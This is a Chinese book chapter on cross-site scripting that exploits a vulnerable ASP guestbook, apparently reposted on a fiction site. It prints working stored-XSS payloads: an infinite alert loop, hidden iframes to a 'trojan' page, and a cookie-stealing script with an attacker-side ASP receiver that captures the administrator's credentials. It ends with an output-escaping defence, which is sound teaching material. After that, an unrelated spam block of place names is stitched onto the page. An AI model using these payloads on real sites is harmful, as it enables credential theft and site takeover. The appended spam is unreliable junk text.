官术网_书友最值得收藏!

1.2 跨站腳本攻擊

在瀏覽論壇或者留言簿時,會突然彈出一個提示框顯示“網(wǎng)站有漏洞”。如圖1-46所示。

圖1-46 漏洞提示

利用跨站腳本攻擊可以達到這種效果,雖然簡單,但非常有效,它帶來的危害并不比蠕蟲小。本節(jié)介紹跨站腳本攻擊,并以一個留言本的漏洞來演示如何利用與防御跨站腳本漏洞。

1.2.1 跨站攻擊的來源

HTML(HyperText Markup Language,超文本鏈接語言)指一個包含鏈接的文本,這個文本鏈接到其他的文件。通過單擊這些鏈接,可以很容易地從當前頁面進入到鏈接指向的頁面。

XSS稱為“CSS”(Cross Site Script,跨站腳本攻擊),指惡意攻擊者在Web頁面中插入惡意html代碼,當用戶瀏覽該頁之時,這些代碼會被執(zhí)行,從而達到特殊目的。XSS屬于被動式的攻擊,隱蔽性強,而且很容易上手。

1.2.2 簡單留言本的跨站漏洞

本節(jié)將以迷你留言本為例說明跨站腳本攻擊,這個留言本的體積很小,代碼不多,適合用來分析。并且安裝很簡單,從網(wǎng)上下載壓縮包后解壓到 IIS 的目錄中即可使用,安裝完成后的界面如圖1-47所示。

圖1-47 安裝完成后的界面

用記事本打開index.asp,其代碼如下:

<tr>
<td width="12%" height="14" align="center" bgcolor="#FFFFFF">
<font color="#000000">昵稱:</font></td>
<td width="52%" height="14">
<font color="#000000"><%=rs("name")%></font></td>
    <td width="36%" height="14" bgcolor="#FFFFFF">
      <p align="right"><font color="#000000">
<%=rs("time")%>
</font></td>
  </tr>
  <tr>
<td width="12%" height="16" align="center" bgcolor="#FFFFFF">
<font color="#000000">留言:</font></td>
  </center>
    <td width="88%" height="1" colspan="2" rowspan="2">
      <p align="left">
<font color="#000000">
<%=rs("body")%>
</font></td>
  </tr>

其中加粗的兩句代碼從數(shù)據(jù)庫中讀取字符串,并放在HTML代碼中。關(guān)鍵的是在這個過程中,代碼沒有對讀取的字符串進行任何處理。如果它是HTML代碼,毫無疑問,留言內(nèi)容會按照HTML的語法解析顯示;如果是JavaScript,則作為JavaScript執(zhí)行。

下面攻擊者開始把將惡意代碼插入到數(shù)據(jù)庫中,讓頁面被訪問時執(zhí)行。發(fā)布留言時留言內(nèi)容會被插入到數(shù)據(jù)庫中。單擊“發(fā)表留言”進入簽寫留言的頁面,在其中可以輸入昵稱和留言內(nèi)容。

首先試試插入HTML代碼能不能執(zhí)行,輸入一個簡單的HTML輸入超鏈接標簽“<a>”,如圖1-48所示。單擊“提交”按鈕,輸入的數(shù)據(jù)插入到數(shù)據(jù)庫中。

圖1-48 輸入超鏈接標簽“<a>”

訪問index.asp,查看代碼在頁面是否會執(zhí)行成功,結(jié)果如圖1-49所示。

圖1-49 訪問index.asp

其中顯示的“aaa”和“bbb”都附有超鏈接,說明所寫HTML代碼從數(shù)據(jù)庫中讀出后被解析執(zhí)行。也說明該頁面有漏洞。

下面測試在數(shù)據(jù)庫中插入 JavaScript 能否被解析執(zhí)行。發(fā)表留言,在其中輸入以下代碼。彈出一個對話框,顯示“測試漏洞”字符串:

<script>alert(‘測試漏洞’);</script>

因為昵稱和留言兩個選項中均存在漏洞,所以 JavaScript 代碼可放在其中之一,如圖1-50所示。提交訪問index.asp,顯示一個對話框,如圖1-51所示。

圖1-50 輸入留言

圖1-51 顯示的對話框

這樣的漏洞普遍存在,在網(wǎng)頁中有數(shù)據(jù)輸入處就有可能存在跨站腳本漏洞,檢測的方法在這些位置輸入HTML或腳本代碼,查看在顯示數(shù)據(jù)時它們可否被解析執(zhí)行。如果可以,說明這個程序有漏洞。

1.2.3 跨站漏洞腳本分析

攻擊者可以利用跨站腳本漏洞得到瀏覽該網(wǎng)頁用戶的 cookie,使其在不知不覺中訪問木馬網(wǎng)頁,并且可以讓網(wǎng)頁無法正常訪問。

(1)死循環(huán)

在網(wǎng)頁中插入死循環(huán)語句,這是一種低劣的惡意攻擊手法。寫一段條件永遠為真的循環(huán)語句,讓頁面執(zhí)行到這段代碼時進入死循環(huán),從而使網(wǎng)頁不能正常顯示。更有甚者,在死循環(huán)語句中加入彈出對話框的代碼,從而使瀏覽者的瀏覽器不停地彈出對話框。始終無法關(guān)閉,必須結(jié)束瀏覽器進程。

具體操作是打開發(fā)表留言頁面,在留言內(nèi)容中寫入如下代碼:

<script>while(true)alert(‘炸死你!’)</script>

如圖1-52所示。

提交之后訪問index.asp,彈出一個對話框。單擊“確定”按鈕,又彈出一個對話框。如此反復,必須結(jié)束IE的進程才能停止,如圖1-53所示。

圖1-52 輸入死循環(huán)代碼

圖1-53 進入死循環(huán)

(2)隱藏訪問

隱藏訪問指使用戶在訪問一個網(wǎng)頁時不知不覺之中訪問另一個網(wǎng)頁。

攻擊者可以在有跨站漏洞的頁面中插入代碼,讓所有訪問這個頁面的用戶打開這個頁面的同時隱藏訪問攻擊者的網(wǎng)站,從而幫攻擊者增加訪問量。

如果攻擊者讓用戶隱藏訪問的頁面是一個木馬網(wǎng)頁的話,問題就嚴重了。在訪問時,用戶的計算機在不知不覺中下載并安裝了一個病毒或者木馬程序,這樣計算機的控制權(quán)完全掌握在攻擊者的手里。

要讓用戶訪問頁面的方法很多,比如插入下面的代碼可以直接從當前網(wǎng)頁跳轉(zhuǎn)到目標頁面:

<script>
    window.location.href="目標頁面";
</script>

實現(xiàn)隱藏訪問有兩種方法,一種是讓頁面彈出一個高度和寬度都為0,而且坐標在屏幕范圍之外的新頁面來打開網(wǎng)頁。代碼如下:

<script>
    window.open('目標頁面', '', 'top=10000,left=10000,height=0, width=0');
</script>

這種方法在彈出一個窗口后,雖然用戶看不到,但是在任務欄中還會出現(xiàn)這個窗口的標題按鈕。不過攻擊者可以加入代碼讓木馬網(wǎng)頁自動關(guān)閉,這樣留意任務欄的人不多。而且木馬網(wǎng)頁的標題一閃而過,打開則被關(guān)閉。

另外一種方法就是在頁面中插入一個高度和寬度都為0的框架,其內(nèi)容是攻擊者想要用戶訪問的網(wǎng)頁地址。這樣既不會彈出一個新的窗口,頁面看起來也與沒有插入代碼一樣,隱蔽性十分高。

插入框架的代碼如下:

<iframe src="目標網(wǎng)頁"></iframe>

首先用一幅圖片來試代碼的效果,代碼如下:

<iframe src="img/logo.jpg"></iframe>

上述代碼的作用是在網(wǎng)頁中插入一個框架,其中的內(nèi)容是顯示該網(wǎng)站img文件夾中的logo.jpg圖片,如圖1-54所示。

圖1-54 輸入生成框架代碼

提交后訪問index.asp,結(jié)果如圖1-55所示。

圖1-55 提交結(jié)果

成功地在網(wǎng)頁中插入了一個框架,并顯示圖片。接下來把框架的高度和寬度都設置為0,查看框架是否被隱藏。代碼如下:

<iframe src="img/logo.jpg" width="0" height="0"></iframe>

如圖1-56所示,為了和前面的留言區(qū)別,這次的昵稱改為“框架測試2”。

圖1-56 昵稱改為“框架測試2”

如圖1-57所示,框架被隱藏。

圖1-57 框架被隱藏

將test.html 文件放在網(wǎng)站的根目錄下來作為木馬網(wǎng)頁,功能為彈出一個對話框說明已經(jīng)隱藏訪問木馬頁面,其代碼如下:

<html>
<head></head>
<body>
<script>alert('已經(jīng)訪問木馬頁面!')</script>
</body>
</html>

發(fā)布一個跨站留言,讓用戶隱藏訪問test.html,留言的內(nèi)容為如下代碼:

<iframe src="http://localhost/test.html" width="0" height="0"></iframe>

在實際利用漏洞時,攻擊者會把木馬頁面放在自己的網(wǎng)站空間中。上述代碼使用完整的路徑來表示木馬頁面的地址,這里使用test.html的完整路徑http://localhost/test.html。為以示區(qū)別,后面使用localhost來表示攻擊者的網(wǎng)站,用127.0.0.1表示漏洞網(wǎng)站。

在提交發(fā)表留言之后訪問留言主頁index.asp,頁面中彈出預料中的對話框,如圖1-58所示。

圖1-58 預料中的對話框

這樣證明了頁面里的代碼被成功執(zhí)行,即訪問了木馬頁面。

(3)獲取瀏覽者cookie信息

一般論壇和留言本為了節(jié)省服務器的資源,通常都把用戶的登錄信息保存在用戶計算機的cookie中,通過一些特殊的代碼可以提取這個文件,配合隱藏訪問的方法可以將其發(fā)送給攻擊者。

相關(guān)知識

隨著網(wǎng)絡的發(fā)展,用戶訪問除了要求高度的視覺享受之外,更需要個性化的服務,所以才有了cookie。

瀏覽器把用戶名、密碼或是否登錄之類的信息保存在cookie中,當用戶訪問頁面時,網(wǎng)頁從中取出信息處理,這樣分擔了服務器的一些工作。對于每一個站點,IE支持255個且每個cookie限記錄1 024個字節(jié)內(nèi)容。這樣可以大量減輕服務器的資源消耗,又可以保證安全性一個站點不允許訪問另一個站點的cookie 數(shù)據(jù)。但當是這個秘密為人所知之后,安全性就不復存在了。因為cookie 是使用 ASCII 編碼的txt文件,所以可以打開任意一個cookie修改。

因為插入到頁面的代碼會被程序認為是網(wǎng)站自身的代碼,所以在代碼中可以直接取得用戶在本網(wǎng)站的cookie。代碼如下:

<script>
document.cookie;
</script>

在留言本中發(fā)表留言,插入代碼使頁面顯示對話框瀏覽者的cookie。

<script>
alert(document.cookie);
</script>

結(jié)果如圖1-59所示,提交后訪問留言本首頁時頁面彈出瀏覽者在本站的cookie內(nèi)容。

圖1-59 顯示的cookie

因為例中簡單留言本的留言是匿名發(fā)表的,所以只有以管理員的身份登錄后才會把管理員的信息保存在cookie中。一般用戶的cookie中沒有實質(zhì)性內(nèi)容,僅僅在論壇中有用戶的登錄信息。

以管理員的賬號登錄后訪問這個頁面,結(jié)果如圖1-60所示。

圖1-60 訪問結(jié)果

從“pwd=admin”和“user=admin”,可以容易地判斷出管理員的密碼和用戶名均為admin。

這樣彈出的cookie為瀏覽者的,只有管理員訪問這個頁面時,這個文件才有其用戶名和密碼。結(jié)合一些其他的手法,即可讓管理員在訪問這個頁面時把自己的cookie發(fā)送給攻擊者。攻擊者從中得到管理員的賬號和密碼,即可控制整個網(wǎng)站。

攻擊者為得到管理員的信息,制作一個用來接收信息頁面并在自己的網(wǎng)站中創(chuàng)建jieshou.asp文件接收瀏覽者發(fā)送的cookie信息,該文件的內(nèi)容如下:

<%
xinxi=request("xinxi")
//注釋:接收“xinxi”參數(shù),并保存在xinxi變量中
set fs=server.CreateObject("Scripting.FileSystemObject")
//注釋:建立文件操作對象
set file=fs.OpenTextFile(server.MapPath("ck.txt"),8,True)
//注釋:打開網(wǎng)站目錄下的ck.txt文件,如果這個文件不存在,則建立它
file.writeline xinxi
//注釋:把xinxi變量的內(nèi)容寫到ck.txt文件中
file.close
set file=nothing
set fs=nothing
//注釋:關(guān)閉文件并釋放對象
%>

結(jié)合隱藏訪問的方法,讓管理員訪問如下URL即把cookie發(fā)送到jieshou.asp:

http://localhost/jieshou.asp?xinxi=管理員cookie的內(nèi)容

構(gòu)造的代碼如下:

<script>
var ck=document.cookie;
//注釋:把cookie的內(nèi)容保存到ck變量中
var url='http://localhost/jieshou.asp?xinxi='+ck;
//注釋:構(gòu)造想要讓瀏覽者隱藏訪問的地址放到url變量中
var htmldaima='<iframe src="' + url + '"></iframe>'
//注釋:構(gòu)造隱藏訪問的代碼
document.write(htmldaima);
// 注釋:把構(gòu)造的htmldaima作為HTML來執(zhí)行
</script>

把如上代碼作為留言內(nèi)容來發(fā)表,如圖1-61所示。

圖1-61 發(fā)表留言

提交之后用管理員身份登錄留言本,訪問留言首頁,如圖1-62所示。頁面看起來一切正常,沒有問題。

圖1-62 訪問留言首頁

實際上頁面已經(jīng)把管理員的cookie發(fā)送到攻擊者的接收頁面,轉(zhuǎn)到攻擊者的網(wǎng)站目錄下會發(fā)現(xiàn)多了一個ck.txt文件。

打開該文件,可看到留言本管理員的cookie,其中有管理員的賬號和密碼,如圖1-63所示。

圖1-63 管理員的賬號和密碼

從利用的過程中可以看出跨站漏洞的危害很大,攻擊者可以通過一些方法取得瀏覽者的cookie,從而得到所需的敏感信息。

1.2.4 預防和防御跨站漏洞

dvHTMLEncode()函數(shù)是筆者從ubbcode中提取的用于處理特殊字符串的函數(shù)。它能把尖括號之類的字符替換成HTML特殊字符集中的字符。

HTML語言是標簽語言,所有的代碼用標簽括起才有用,而所有標簽用尖括號括起。尖括號不能發(fā)揮原來的作用之后,攻擊者插入的代碼便失去作用。dvHTMLEncode()函數(shù)的完整代碼如下:

function dvHTMLEncode(byval fString)
if isnull(fString) or trim(fString)="" then
    dvHTMLEncode=""
    exit function
end if
  fString=replace(fString, ">", "&gt;")
  fString=replace(fString, "<", "&lt;")
  fString=Replace(fString, CHR(32), "&nbsp;")
  fString=Replace(fString, CHR(9), "&nbsp;")
  fString=Replace(fString, CHR(34), "&quot;")
  fString=Replace(fString, CHR(39), "&#39;")
  fString=Replace(fString, CHR(13), "")
  fString=Replace(fString, CHR(10)&CHR(10), "</P><P>")
  fString=Replace(fString, CHR(10), "<BR>")
  dvHTMLEncode = fString
end function

這個函數(shù)使用 replace()函數(shù)替換字符串中的一些特殊字符,如果需要過濾其他特殊字符,可以試著添加。

用 dvHTMLEncode()函數(shù)把所有輸入及輸出的字符串過濾處理一遍,即可杜絕大部分的跨站漏洞。

如簡單留言本的漏洞是因為name中的body沒有經(jīng)過過濾而直接輸出到頁面形成的,代碼如下:

<%=rs("name")%>
……
<%=rs("body")%>

如下修改代碼即可避免跨站漏洞:

<%=dvHTMLEncode( rs("name") )%>
……
<%= dvHTMLEncode( rs("body") )%>

用 dvHTMLEncode()函數(shù)過濾后輸出,不會存在問題,也可以在用戶提交時過濾后寫到數(shù)據(jù)庫中。

為禁用JavaScript,單擊IE中的“工具”|“Internet選項”|“安全”|“Internet”|“自定義級別”選項,找到“腳本”部分,把“活動腳本”設置成“禁用”狀態(tài)。

另外盡量不要訪問安全性不高的網(wǎng)站,上網(wǎng)時打開殺毒軟件的腳本監(jiān)控功能,這樣可以避免被惡意攻擊者利用跨站腳本漏洞攻擊的可能性。

主站蜘蛛池模板: 石首市| 海伦市| 化德县| 磐安县| 行唐县| 永福县| 沙河市| 尚义县| 白城市| 陈巴尔虎旗| 年辖:市辖区| 栖霞市| 都江堰市| 周至县| 淮安市| 通山县| 安阳县| 昌吉市| 乌苏市| 奉节县| 京山县| 龙泉市| 乐平市| 平定县| 手机| 贺州市| 策勒县| 安岳县| 武陟县| 江华| 仁布县| 伊川县| 茂名市| 顺昌县| 宜兰市| 安远县| 德阳市| 延吉市| 赫章县| 四子王旗| 崇信县|